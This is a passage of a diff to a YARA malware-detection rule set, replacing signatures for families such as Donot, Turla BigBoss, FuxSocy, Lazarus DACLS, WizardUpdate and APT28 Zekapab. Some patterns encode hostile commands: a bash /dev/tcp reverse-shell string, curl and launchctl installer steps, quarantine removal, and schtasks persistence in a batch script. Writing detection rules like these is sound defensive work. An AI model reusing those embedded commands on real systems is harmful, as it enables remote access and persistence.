20 61 74 20 30 78 25 38 2e 38 6c 78 20 61 6e 64 20 68 61 73 20 61 20 6c 65 6e 67 74 68 20 6f 66 20 25 64 2e 0a } + $dbg3 = { 50 61 73 73 77 6f 72 64 52 65 6d 69 6e 64 65 72 20 69 73 20 75 6e 61 62 6c 65 20 74 6f 20 66 69 6e 64 20 74 68 65 20 70 61 73 73 77 6f 72 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 0a } + $dbg4 = { 20 55 73 61 67 65 3a 20 25 73 20 44 6f 6d 61 69 6e 4e 61 6d 65 20 55 73 65 72 4e 61 6d 65 20 50 49 44 2d 6f 66 2d 57 69 6e 4c 6f 67 6f 6e 0a 0a } + $dbg5 = { 54 68 65 20 6c 6f 67 6f 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 69 73 3a 20 25 53 2f 25 53 2f 25 53 2e 0a } + $dbg6 = { 54 68 65 20 57 69 6e 4c 6f 67 6f 6e 20 70 72 6f 63 65 73 73 20 69 64 20 69 73 20 25 64 20 28 30 78 25 38 2e 38 6c 78 29 2e 0a } + $dbg7 = { 59 6f 75 20 6c 6f 67 67 65 64 20 6f 6e 20 61 74 20 25 64 2f 25 64 2f 25 64 20 25 64 3a 25 64 3a 25 64 0a } + $dbg8 = { 54 68 65 20 68 61 73 68 20 62 79 74 65 20 69 73 3a 20 30 78 25 32 2e 32 78 2e 0a } + $dbg9 = { 53 55 56 57 68 14 ?? 40 00 e8 17 0c 00 00 8b 6c 24 1c [1-4] 45 00 50 68 e0 ?? 40 00 e8 ?? ?? 00 00 83 c4 ?? e8 ?? 02 00 00 85 c0 75 1d e8 ?? 02 00 00 85 c0 75 14 68 b4 ?? 40 00 e8 ?? 0b 00 00 83 c4 04 33 c0 5f 5e 5d 5b } condition: - uint16( 0 ) == 0x5a4d and filesize > 6KB and ( all of ( $seq* ) or 2 of ( $s* ) ) + uint16( 0 ) == 0x4d5a and filesize > 50KB and 6 of them } -rule ARKBIRD_SOLG_APT_MAL_Donot_Loader_June_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_2 : FILE { meta: - description = "Detect loader malware used by APT Donot for drops the final stage" + description = "Detect a structure like the bash of WizardUpdate installer on OSX system" author = "Arkbird_SOLG" - id = "ec4cac12-529f-56d2-bbc0-5fe30424b10b" - date = "2020-06-22" - modified = "2020-06-22" - reference = "https://twitter.com/ccxsaber/status/1274978583463649281" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-22/APT_MAL_Donot_Loader_June_2020_1.yar#L3-L22" + id = "3e48c2fa-10f4-5152-90e6-f5f8cc507103" + date = "2021-10-22" + modified = "2021-10-23" + reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_2.yara#L1-L20" license_url = "N/A" - logic_hash = "986deffd48c1fb707948b00e1e200fa6538d4c73a32ab89f5119403f9bf0d734" + logic_hash = "99d3323e3c155be040fef3beea0a55aec9bd3178df822d5fd6530864186446ed" score = 75 - quality = 75 + quality = 67 tags = "FILE" - hash1 = "1ff33d1c630db0a0b8b27423f32d15cc9ef867349ac71840aed47c90c526bb6b" + hash1 = "eafacc44666901a5ea3c81a128e5dd88d0968a400d74ef1da5c2c05dc6dd7a39" + tlp = "White" + adversary = "-" strings: - $s1 = "C:\\Users\\spartan\\Documents\\Visual Studio 2010\\new projects\\frontend\\Release\\test.pdb" fullword ascii - $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Edg/81.0.416.68" fullword ascii - $s3 = "bbLorkybbYngxkjbb]khbbmgvjgz4k~k" fullword ascii - $s4 = "8&8-8X8.959?9Q9h9v9|9" fullword ascii - $s5 = "0$0h4h5l5p5t5x5|5" fullword ascii - $s6 = "?&?+?1?7?M?T?g?z?" fullword ascii - $s7 = "12.02.1245" fullword ascii - $s8 = ">>?C?L?[?~?" fullword ascii - $s9 = "6*6=6P6b6" fullword ascii + $s1 = { 24 28 65 76 61 6c 20 65 63 68 6f 20 7e 24 28 65 63 68 6f 20 24 55 53 45 52 29 29 } + $s2 = { 69 66 20 5b 20 21 20 2d 66 20 22 24 [5-15] 22 20 5d 3b 20 74 68 65 6e } + $s3 = { 63 75 72 6c 20 2d 2d 72 65 74 72 79 20 [2-3] 2d 66 20 22 } + $s4 = { 78 61 74 74 72 20 2d 72 20 2d 64 20 63 6f 6d 2e 61 70 70 6c 65 2e 71 75 61 72 61 6e 74 69 6e 65 } + $s5 = { 6c 61 75 6e 63 68 63 74 6c 20 6c 6f 61 64 20 2d 77 } + $s6 = { 63 68 6f 77 6e 20 2d 52 20 24 55 53 45 52 } + $s7 = { 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 20 65 6e 63 6f 64 69 6e 67 3d 5c 22 55 54 46 2d 38 5c 22 3f 3e 0a 09 3c 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50 55 42 4c 49 43 20 5c 22 2d 2f 2f 41 70 70 6c 65 2f 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f 45 4e 5c 22 20 5c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e 64 74 64 5c 22 3e 0a 09 3c 70 6c 69 73 74 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 3e } condition: - uint16( 0 ) == 0x5a4d and filesize < 30KB and 7 of them + filesize > 2KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Turla_Bigboss_Apr_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_1 : FILE { meta: - description = "Detects new BigBoss implants (SilentMoon/GoldenSky)" + description = "Detect WizardUpdate installer on OSX system" author = "Arkbird_SOLG" - id = "6f6c8d1e-f2c7-5f08-b1dc-ce726c6d89be" - date = "2021-04-06" - modified = "2021-07-17" - reference = "https://twitter.com/DrunkBinary/status/1304086230540390400" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-17/BigBoss/APT_Turla_BigBoss_Apr_2021_1.yara#L1-L21" + id = "50974725-6b45-5f2f-aa76-ae73dc752873" + date = "2021-10-22" + modified = "2021-10-23" + reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "ce0ffdad9eecb79128b6c08c87914f356c86ac631655c76905a06d953add3998" + logic_hash = "b25145a9aa33c9518e5e0847b50faa8b67d65078ddfbb66de49196a17ddd3137" score = 75 - quality = 71 + quality = 75 tags = "FILE" - hash1 = "94421ccb97b784c43d92c4b1438481eee9c907db6b13f6cfc4b86a6bb057ddcd" - hash2 = "67bfa585ace8df20deb1d8a05bd4acf2c84c6fa0966276b3ea7607056abe25bb" - hash3 = "6ca0b4efe077fe05b2ae871bf50133c706c7090a54d2c3536a6c86ff454caa9a" + hash1 = "939cebc99a50989ffbdbb2a6727b914fc9b2382589b4075a9fd3857e99a8c92a3" + hash2 = "c5017798275f054ae96c69f5dd0b378924c6504a70c399279bbf7f33d990d45b" + hash3 = "7067e6a69a8f5fdbabfb00d03320cfc2f3584a83304cbeeca7e8edc3d57bbbd4" + tlp = "White" + adversary = "-" strings: - $s1 = { 55 8b ec a1 [2] 40 00 83 ec 3c 50 6a 3c 8d 4d c4 51 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 78 ?? 40 00 8d 45 c4 8d 50 02 8d 49 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b c2 d1 f8 75 1c 8b 15 [2] 40 00 52 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 [2] 40 00 8b e5 } - $s2 = { 5c 00 5c 00 2e 00 5c 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 50 00 49 00 50 00 45 00 5c } - $s3 = { 5c 5c 25 73 5c 70 69 70 65 5c 25 73 } - $s4 = { 5c 00 69 00 6e 00 66 00 5c 00 00 00 [4-16] 2e 00 69 00 6e 00 66 } - $s5 = "%d blocks, %d sorted, %d scanned" ascii fullword - $s6 = "REMOTE_NS:ERROR:%d" ascii fullword - $s7 = { 5c 5c 25 73 5c 69 70 63 24 } - $s8 = { 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 6c 00 61 00 6e 00 6d 00 61 00 6e 00 73 00 65 00 72 00 76 00 65 00 72 00 5c 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 73 00 00 00 4e 00 75 00 6c 00 6c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 50 00 69 00 70 00 65 00 73 00 00 00 00 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4c 00 53 00 41 00 00 00 00 00 52 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 41 00 6e 00 6f 00 6e 00 79 00 6d 00 6f 00 75 00 73 } + $s1 = { 48 89 e5 48 83 ec 70 48 89 7d f0 48 c7 45 e0 00 00 00 00 b8 01 00 00 00 48 89 c7 48 89 c6 e8 b8 3b 00 00 31 c9 89 cf 48 89 45 d8 48 c7 45 d0 00 00 00 00 e8 a9 3b 00 00 48 8b 7d f0 48 8d 35 d4 3f 00 00 89 45 cc e8 ba 3b 00 00 48 89 45 e8 48 83 7d e8 00 0f 85 0d 00 00 00 48 c7 45 f8 00 00 00 00 e9 cd 00 00 00 e9 00 00 00 00 48 8b 55 e8 48 8d 7d e0 48 8d 75 d0 e8 70 3b 00 00 48 83 f8 ff 0f 84 9c 00 00 00 48 8b 7d d8 48 8b 45 d8 48 89 7d c0 48 89 c7 e8 76 3b 00 00 48 8b 7d e0 48 89 45 b8 e8 69 3b 00 00 48 8b 4d b8 48 01 c1 48 81 c1 01 00 00 00 48 8b 7d c0 48 89 ce e8 49 3b 00 00 48 89 45 d8 48 8b 45 d8 48 8b 7d d8 48 89 45 b0 e8 3a 3b 00 00 48 8b 4d b0 48 01 c1 48 8b 75 e0 48 8b 7d e0 48 89 4d a8 48 89 75 a0 e8 1e 3b 00 00 48 05 01 00 00 00 48 8b 7d a8 48 8b 75 a0 48 89 c2 e8 0e 3b 00 00 48 8b 7d e0 48 89 45 98 e8 d1 3a 00 00 48 c7 45 } + $s2 = { 48 89 e5 48 81 ec 80 01 00 00 48 89 f8 48 8b 0d 7b 31 00 00 48 8b 09 48 89 4d f8 48 89 bd e8 fe ff ff c6 85 e7 fe ff ff 00 48 89 bd b8 fe ff ff 48 89 b5 b0 fe ff ff 48 89 85 a8 fe ff ff e8 9c 01 00 00 c7 85 d4 fe ff ff 00 01 00 00 48 8d 35 0a 2e 00 00 48 8b bd b0 fe ff ff e8 df 28 00 00 e9 00 00 00 00 48 8b bd b0 fe ff ff e8 8e 01 00 00 48 8d 35 ec 2d 00 00 48 89 c7 e8 5b 29 00 00 48 89 85 a0 fe ff ff e9 00 00 00 00 48 8b 85 a0 fe ff ff 48 89 85 d8 fe ff ff 48 83 bd d8 fe ff ff 00 0f 84 c4 00 00 00 e9 00 00 00 00 48 8b bd d8 fe ff ff e8 04 29 00 00 89 85 9c fe ff ff e9 00 00 00 00 8b 85 9c fe ff ff 83 f8 00 0f 95 c1 80 f1 ff f6 c1 01 0f 85 05 00 00 00 e9 75 00 00 00 48 8b 95 d8 fe ff ff 48 8d bd f0 fe ff ff be 00 01 00 00 e8 ca 28 00 00 48 89 85 90 fe ff ff e9 00 00 00 00 48 8b 85 90 fe ff ff 48 83 f8 00 0f 84 3b 00 00 00 48 8d b5 f0 fe ff ff 48 8b bd b8 fe ff ff } + $s3 = "11101000010110101110100011010010110110101100101011011110111010101110100001000000011100100110000001100000010000000101101010011000010000000100010011010000111010001110100011100000111001100111010001011110010111101101101" + $s4 = { 48 8b bd d8 fe ff ff e8 73 28 00 00 e9 00 00 00 00 e9 00 00 00 00 c6 85 e7 fe ff ff 01 f6 85 e7 fe ff ff 01 0f 85 0c 00 00 00 48 8b bd b8 fe ff ff e8 cb 27 00 00 48 8b 05 fc 2f 00 00 48 8b 00 48 8b 4d f8 48 39 c8 0f 85 32 00 00 00 48 8b 85 a8 fe ff ff 48 81 c4 80 01 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 20KB and 7 of ( $s* ) + uint32( 0 ) == 0xFEEDFACF and filesize > 50KB and ( ( $s1 and $s3 ) or ( $s2 and $s4 ) ) } -rule ARKBIRD_SOLG_APT_Donot_Downloader_May_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT28_Zekapab_Mar_2021_1 : FILE { meta: - description = "Detect the trojan downloader used by Donot group" + description = "Detect Zekapab used by APT28 group" author = "Arkbird_SOLG" - id = "251a809e-9e36-5c46-955f-006531bd9619" - date = "2020-05-09" - modified = "2021-05-09" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/Donot/APT_Donot_Downloader_May_2021_1.yara#L1-L20" + id = "634f32dd-8bcf-5c58-a335-9b66ff568a54" + date = "2021-03-15" + modified = "2021-03-15" + reference = "https://twitter.com/DrunkBinary/status/1371423755608719360" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-15/APT28/APT_APT28_Zekapab_Mar_2021_1.yar#L1-L25" license_url = "N/A" - logic_hash = "df64ab97b74935ce8b73c3854eb81fa1dbd4e59b1e27c43ae9c85b90aaaef6f7" - score = 75 - quality = 75 + logic_hash = "dabaab47c193a05620d282a00b6b47f710cfa6b1efc699ea5d47267d10cfdcb6" + score = 60 + quality = 23 tags = "FILE" - hash1 = "28aa296bda12f0184564c5f6b46e679f07255aa8df58b861ea17910cdcaa674a" - hash2 = "03730cdc23a3d10c8752ad1464ff2e68a64c69f8310b0ceea4d52b1db0215dfc" - hash3 = "edd590c343570f7576aca83da58967e058585c6ba861682dca2fc987c713ee3a" - tlp = "White" - adversary = "Donot" + hash1 = "eae62bb4110bcd00e9d1bcaba9000defcda3d1ab832fa2634d928559d066cb15" strings: - $seq1 = { 65 63 68 6f 20 6f 66 66 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 64 65 6c 20 2f 66 20 25 73 20 0a 20 53 45 54 20 2f 41 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 20 0a 20 53 45 54 20 2f 41 20 52 41 4e 44 3d 25 25 52 41 4e 44 4f 4d 25 25 20 31 30 30 30 30 20 2b 20 32 20 0a 20 65 63 68 6f 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 2d 25 25 52 41 4e 44 25 25 20 3e 3e 20 25 73 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 6f 62 55 70 64 61 74 65 20 2f 66 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 32 30 20 2f 66 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 74 72 20 25 73 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 31 30 20 2f 66 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 74 72 20 25 73 20 0a 20 6d 6f 76 65 20 25 25 41 50 50 44 41 54 41 25 } - $seq2 = { c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 00 00 00 00 c7 04 24 ?? 42 [2] e8 ?? 01 00 00 83 ec 14 [0-3] c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 [2-5] 24 04 [0-3] 89 04 24 e8 ?? 01 00 00 83 ec 18 89 [1-9] c7 44 24 04 ?? 43 [2] c7 04 24 ?? 61 [2] e8 ?? 08 00 00 } - $s1 = "VirtualQuery failed for %d bytes at address %p" fullword ascii - $s2 = { 25 73 5c [1-14] 2e 62 61 74 } - $s3 = { 25 73 5c [1-14] 25 } + $s1 = { 68 74 74 70 3A 2F 2F } + $s2 = { 68 74 74 70 73 3A 2F 2F } + $s3 = { 32 44 34 46 37 30 36 35 36 45 32 30 37 30 37 32 36 46 36 33 36 35 37 33 37 33 32 44 } + $s4 = { 35 30 34 33 32 30 34 45 36 31 36 44 36 35 33 41 32 30 } + $s5 = { 34 42 34 32 37 32 36 34 32 30 34 43 36 31 36 45 36 37 33 41 32 30 } + $s6 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 } + $header1 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 } + $header2 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 } + $dbg1 = { 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 0d 00 4e 00 6f 00 74 00 20 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 } + $dbg2 = { 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 45 00 72 00 72 00 6f 00 72 00 2e 00 20 00 20 00 43 00 6f 00 64 00 65 00 3a 00 20 00 25 00 64 00 2e 00 0d 00 0a 00 25 00 73 } + $dbg3 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 00 2e 00 0a 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 2e } + $dbg4 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 } + $dbg5 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 00 2e } + $dbg6 = { 53 00 6f 00 63 00 6b 00 65 00 74 00 20 00 45 00 72 00 72 00 6f 00 72 00 20 00 23 00 20 00 25 00 64 00 0d 00 0a 00 25 00 73 } condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and all of ( $seq* ) and 2 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 1 of ( $header* ) and 3 of ( $s* ) and 4 of ( $dbg* ) } -rule ARKBIRD_SOLG_RAN_Fuxsocy_May_2021_1 : FILE + +rule ARKBIRD_SOLG_APT_NK_Lazarus_Implant_June_2020_1 : FILE { meta: - description = "Detect FuxSocy ransomware" + description = "Detect Lazarus implant June 2020" author = "Arkbird_SOLG" - id = "2420c2fa-bc94-51a6-87ab-4e8d226fdd23" - date = "2020-05-09" - modified = "2021-05-09" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/FuxSocy/RAN_FuxSocy_May_2021_1.yara#L1-L19" + id = "602c33f2-1e34-5267-9154-ada2d6edc64b" + date = "2020-06-28" + modified = "2020-06-28" + reference = "https://twitter.com/ccxsaber/status/1277064824434745345" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT_NK_Lazarus_Implant_June_2020_1.yar#L3-L23" license_url = "N/A" - logic_hash = "ab34f95d2b12bdf2d362538e880301542c3308fff427cfb5ee59e9dca89ec033" + logic_hash = "29b6b8d3bdd47707854ed0dc00808d6352934950a8e7244450df78422ff3cb15" score = 75 - quality = 75 + quality = 73 tags = "FILE" - hash1 = "d786355c1b3dc741103873aed46d8ffa3430d113a27482f37f3ffc7c978747f6" - hash2 = "43bbfb3389deb3846bba19a8ab2e9c8fd9b581720962b8170d4a63ad816b5804" - tlp = "White" - adversary = "-" + hash1 = "21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831" strings: - $seq1 = { b8 48 14 00 00 e8 b8 83 00 00 53 55 56 8d 44 24 48 8b e9 50 55 89 54 24 14 33 f6 ff 15 84 02 41 00 8b d8 85 db 0f 84 fa 00 00 00 57 8b cb e8 2b 09 00 00 8b f8 85 ff 0f 84 e7 00 00 00 57 53 56 55 ff 15 8c 02 41 00 8b 1d 78 02 41 00 8d 44 24 18 50 8d 44 24 18 50 68 cc 14 48 00 57 89 74 24 24 89 74 24 28 ff d3 83 7c 24 18 04 0f 82 ab 00 00 00 8b 44 24 10 8b 4c 24 14 c7 44 24 1c 00 15 48 00 c7 44 24 20 14 15 48 00 c7 44 24 24 30 15 48 00 c7 44 24 28 48 15 48 00 c7 44 24 2c 60 15 48 00 c7 44 24 30 80 15 48 00 c7 44 24 34 a0 15 48 00 c7 44 24 38 c0 15 48 00 c7 44 24 3c e0 15 48 00 c7 44 24 40 fc 15 48 00 c7 44 24 44 14 16 48 00 c7 44 24 48 38 16 48 00 ff 74 84 1c 0f b7 41 02 50 0f b7 01 50 8d 44 24 60 68 54 16 48 00 50 ff 15 64 02 41 00 83 c4 14 8d 44 24 50 50 8d 44 24 14 50 8d 44 24 5c 50 57 ff d3 85 c0 74 0d 8b 4c 24 10 33 d2 e8 47 0a 00 00 8b f0 8b cf e8 c9 08 00 00 5f 8b c6 5e 5d 5b 81 c4 48 14 00 00 } - $seq2 = { 8d 44 24 50 50 8d 44 24 4c 50 8d 44 24 2c 50 55 ff 15 ec 00 41 00 8b 44 24 14 8b 74 24 18 ff 74 24 68 88 87 57 01 08 00 66 a1 80 4d 41 00 [10] 88 9f 54 01 08 00 c6 87 63 01 08 00 10 89 b7 58 01 08 00 66 89 87 5d 01 08 00 ff 15 6c 00 41 00 0f b6 97 63 01 08 00 03 c0 66 89 87 55 01 08 00 8b 44 24 20 8d 8f 64 01 08 00 88 87 5c 01 08 00 e8 14 2b 00 00 8b 44 24 14 0f b6 c8 0f b7 87 55 01 08 00 83 c1 03 8d 0c c8 89 8f 4c 01 08 00 e8 2e 3a 00 00 8b c8 89 8f 48 01 08 00 85 c9 0f 84 0f 01 00 00 8b 44 24 28 89 41 04 8b 8f 48 01 08 00 8b 44 24 24 89 01 8b 8f 48 01 08 00 8b 44 24 4c 89 41 0c 8b 8f 48 01 08 00 8b 44 24 48 89 41 08 8b 8f 48 01 08 00 8b 44 24 54 89 41 14 8b 8f 48 01 08 00 8b 44 24 50 89 41 10 0f b7 87 55 01 08 00 50 8b 87 48 01 08 00 ff 74 24 6c 83 c0 18 50 e8 b4 b5 00 00 8b 4c 24 6c 33 d2 e8 bd 3b 00 00 8b 4c 24 70 33 d2 89 47 08 e8 af 3b 00 00 0f b6 97 63 01 08 00 89 47 0c 8b 44 24 78 89 87 28 02 08 00 8b 44 24 44 89 47 04 8d 87 44 00 08 00 50 8d 8f 64 01 08 00 89 2f e8 4d 24 00 00 89 b7 18 02 08 00 8b 87 c5 01 08 00 f7 a7 58 01 08 00 8b c8 0f b6 87 5c 01 08 00 8b f2 99 83 c4 10 ff b7 28 02 08 00 03 c8 13 f2 03 0d 80 4d 41 00 13 35 84 4d 41 00 89 8f 1c 02 08 00 89 b7 20 02 08 00 ff 15 c4 00 41 00 53 57 ff 74 24 44 55 ff 15 e8 00 41 00 } - $seq3 = { 57 68 ff 01 0f 00 ff 75 08 8b fa 51 32 db ff 15 0c 00 41 00 8b f0 85 f6 74 76 32 ff eb 52 84 ff 75 65 33 c0 50 50 50 50 50 50 50 6a ff 6a 04 6a ff 56 ff 15 10 00 41 00 8b 45 c0 83 f8 01 74 2c 76 2e 83 f8 03 76 1a 83 f8 04 75 24 8d 45 e0 50 6a 01 56 ff 15 18 00 41 00 } - $seq4 = { 6a ff 8d 45 fc 50 8d 45 08 50 8d 45 f8 50 ff 33 33 ff 89 7d f8 89 7d 08 89 7d fc ff 15 c8 00 41 00 85 c0 8b 45 08 0f 95 c1 85 c0 74 59 56 } - $seq5 = { 8b 45 08 56 ff 70 08 ff 15 dc 00 41 00 8b ce e8 af 2e 00 00 33 ff 57 ff 75 08 57 ff 33 ff 15 e4 } + $s1 = "Upgrade.exe" fullword ascii + $s2 = "ver=%d×tamp=%lu" fullword ascii + $s3 = "_update.php" fullword ascii + $s4 = "Dorusio Wallet 2.1.0 (Check Update Windows)" fullword wide + $s5 = "Content-Type: application/x-www-form-urlencoded" fullword ascii + $s6 = "CONOUT$" fullword ascii + $s7 = "D$8fD;i" fullword ascii + $s8 = "WinHttpOpenRequest" fullword ascii + $s9 = "HTTP/1.0" fullword ascii + $s10 = "POST" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 3 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize < 30KB and ( pe.imphash ( ) == "565005404f00b7def4499142ade5e3dd" or 6 of them ) } -rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Dacls_June_2020_1 : FILE + +rule ARKBIRD_SOLG_APT28_Zekapab_June_2020_1 : FILE { meta: - description = "Detect DACLS malware used by APT Lazarus" + description = "Detect Delphi variant of Zekapab" author = "Arkbird_SOLG" - id = "fb85b83a-4367-5f1d-be06-8a8e906b8df7" - date = "2020-06-11" - modified = "2020-06-12" - reference = "https://twitter.com/batrix20/status/1270924079826997248" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L3-L26" + id = "cf87e67f-2db9-537d-8800-8cd47b47c276" + date = "2020-06-28" + modified = "2020-06-28" + reference = "https://twitter.com/DrunkBinary/status/1276573779037163520" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT28_Zekapab_June_2020_1.yar#L3-L29" license_url = "N/A" - logic_hash = "ed3e4a7a0490c5e8854d4e1bc8a223658ab9657a03c1b237af1056293a51611b" + logic_hash = "a02a78b8f60cf9d4441cc18b70fd00ec89253a5feafdc0eb392486b575bc61e2" score = 75 - quality = 48 + quality = 25 tags = "FILE" - hash1 = "2dd57d67e486d6855df8235c15c9657f39e488ff5275d0ce0fcec7fc8566c64b" + hash1 = "12879b9d8ae046ca2f2ebcc7b1948afc44e6e654b7f4746e7a5243267cfd7c46" strings: - $s1 = "bash -i > /dev/tcp/" fullword ascii - $s2 = "__mh_execute_header" fullword ascii - $s3 = "/bin/bash -c \"" fullword ascii - $s4 = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" fullword ascii - $s5 = "@_gethostbyname" fullword ascii - $s6 = "@_gethostname" fullword ascii - $s7 = "radr://5614542" fullword ascii - $s8 = "sh -c \"" fullword ascii - $s9 = "content-type: multipart/form-data" fullword ascii - $s10 = "@___stack_chk_fail" fullword ascii - $s11 = "/usr/lib/libSystem.B.dylib" fullword ascii - $s12 = "@dyld_stub_binder" fullword ascii + $s1 = 